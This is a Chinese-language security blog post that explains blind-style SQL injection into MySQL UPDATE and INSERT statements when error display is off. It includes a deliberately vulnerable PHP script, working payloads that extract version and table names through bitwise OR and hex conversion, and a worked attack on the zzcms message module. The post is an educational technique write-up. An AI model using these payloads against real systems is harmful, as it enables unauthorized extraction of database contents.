当update注入遇到关闭显错

整理自己的文件,发现很早之前写的一篇文章,还是放出来。

说明

关于update注入,可能大家最先想到的是报错注入,但是报错注入的前提是开启了错误显示。那如果关闭了报错显示呢?在Update的注入中如果关闭了显错该怎么办这篇文章中提出了一种在关闭报错情况下的注入场景,本篇文章就是对这种原理进行分析,并就一个实际的cms系统进行实际的分析。

mysql的特性

在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 'abc'|123;
+-----------+
| 'abc'|123 |
+-----------+
| 123 |
+-----------+
1 row in set, 1 warning (0.00 sec)

mysql> select user()|123;
+------------+
| user()|123 |
+------------+
| 123 |
+------------+
1 row in set (0.00 sec)

利用这种特性,在关闭了报错的情况下就能够将我们查询到的数据转换为十进制的数,然后与字符串进行或运算,得到的结果就是十进制的数,最终转换为对应的字符串即可。

update注入示例

存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$mysqli = new mysqli("localhost","root","root","security");
if($mysqli->connect_errno) {
printf("Connect failed: %s\n",$mysqli->connect_errno);
exit();
}
$mysqli->query("set names utf8");
$id = @$_GET['id'];
$username = @$_GET['username'];

$sql1 = "update users set username='$username' where id='$id'";
var_dump($sql1);
$sql2 = "select * from users where id='$id'";
var_dump($sql2);
$result = $mysqli->query($sql1);
if($result = $mysqli->query($sql2)) {
$row = $result->fetch_array(MYSQLI_ASSOC);
echo "ID=".$id.'的用户名变为'.$row['username'];
$result->close();
} else {
var_dump($mysqli->error);
}

$mysqli->close();

输入一个正常的用户名和ID:

利用mysql的字符和数字进行或运算的特性,如下:

得到了数字123456

那么接下来就是注入的过程,我们将需要查询的数据转换为数字,转换的方法就是采用转换为十六进制的方法。访问test.php?id=1&username=tom'|conv(hex(version()),16,10)|'

得到这个数据之后接下来就是进行解码,解码的方式使用unhex()即可。如下:

1
2
3
4
5
6
7
mysql> select unhex(conv(58472576988467,10,16));
+-----------------------------------+
| unhex(conv(58472576988467,10,16)) |
+-----------------------------------+
| 5.5.53 |
+-----------------------------------+
1 row in set (0.00 sec)

在实际过程中会出现或操作的结果会超过mysql的数字范围导致解码得到的结果不全,是因为将字符串转为十进制之后数值较大超过了mysql的取值范围,比如user()的字符串就存在这样的问题。遇到这种情况就可以使用substr()进行分割。如下:

1
2
3
# 第一次请求得到1到5之间的字符串,
http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,5)),16,10)|'
# 结果: 435626797420

解码得到:

1
2
3
4
5
6
7
mysql> select unhex(conv(435626797420,10,16));
+---------------------------------+
| unhex(conv(435626797420,10,16)) |
+---------------------------------+
| email |
+---------------------------------+
1 row in set (0.00 sec)

1
2
3
# 第一次请求得到5到10之间的字符串,
http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,10)),16,10)|'
# 结果: 27763

解码得到:

1
2
3
4
5
6
7
mysql> select unhex(conv(27763,10,16));
+--------------------------+
| unhex(conv(27763,10,16)) |
+--------------------------+
| ls |
+--------------------------+
1 row in set (0.00 sec)

将两次的数据进行组合,得到表名为emails

zzcms中的update注入

如果说上面的只是纸上谈兵,那么来看一个实际的例子。 在user/msg.php中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
if ($action == "savedata") {
$saveas = trim($_REQUEST["saveas"]);
$content = stripfxg(rtrim($_POST["info_content"]));
if ($saveas == "add") {
query("insert into zzcms_msg (content)VALUES('$content') ");
$go = 1;
} elseif ($saveas == "modify") {
query("update zzcms_msg set content='$content' where id=" . $_POST['id'] . " ");
$go = 1;
}
}

对于POST参数content使用stripfxg()方法。stripfxg()的代码如下:

1
2
3
4
5
function stripfxg($string) {//去反斜杠
$string = stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了
$string = htmlspecialchars_decode($string);//转html实体符号
return $string;
}

去掉了反斜线和转html实体编号,那么就可以进行SQL注入。 在user/msg.php提交如下:

1
2
URL: http://localhost/user/msg.php?action=savedata&saveas=modify
POST: info_content=ppp'|conv(hex(version()),16,10)|'&id=1

修改之后,可以在msg_manage.php进行查询。之后访问user/msg_manage.php,得到插入的结果,还原成原来的字符串即可。

实际演示

得到的结果就是58472576988467就是版本号,解码之后就可以得到字符串结果。

1
2
3
4
5
6
7
mysql> select unhex(conv(58472576988467,10,16));
+-----------------------------------+
| unhex(conv(58472576988467,10,16)) |
+-----------------------------------+
| 5.5.53 |
+-----------------------------------+
1 row in set (0.00 sec)

其实这道题目除了通过updat注入之外,通过insert的方式也可以达到相同的目的。只需要访问:

1
2
URL: http://localhost/user/msg.php?action=savedata&saveas=add
POST: info_content=ppp'|conv(hex(version()),16,10)|'

原理和update注入的原理是一样的,这里就不作说明了。

其他-1

上面是使用或操作,那么能否使用与操作呢?答案是不行的。进行如下的尝试:

1
2
3
4
5
6
7
mysql> select 'abc'&123;
+-----------+
| 'abc'&123 |
+-----------+
| 0 |
+-----------+
1 row in set, 1 warning (0.00 sec)

因为字符串与数字进行或操作的时候得到的都是空,无法通过返回值得到有价值的结果。 问题就来了,为什么或操作和与操作之间的结果会存在差异呢?这个问题我之前已经研究过了,主要是进行或操作和与操作时进行的是二进制的运算,对于字符串首先会转换为数字,此时都是0。0和任何数字与操作都是0。具体的分析可以去看当order by遇上|

其他-2

虽然整篇文章是通过update的方式进行讲解的,但是通过最后的实例也可以发现,其实在insert语句的情况下也能够达到相同的目的。其实不管是update还是insert,都是需要在数据库中插入数据,之后查询得到插入的结果。

总结

  1. 这种方式需要update语句配合select查询才能够使用,而且需要在MySQL的非严格模式下才可以使用。
  2. 这篇文章仅仅只是提供了update在一种场景下的注入方式,但是还是存在一定的局限性,很多时候select、()、,都会被过滤掉。
  3. 这篇文章只是提出了一种注入场景,作为一个安全研究人员应该具备举一反三的能力,而不是局限在这个场景里面。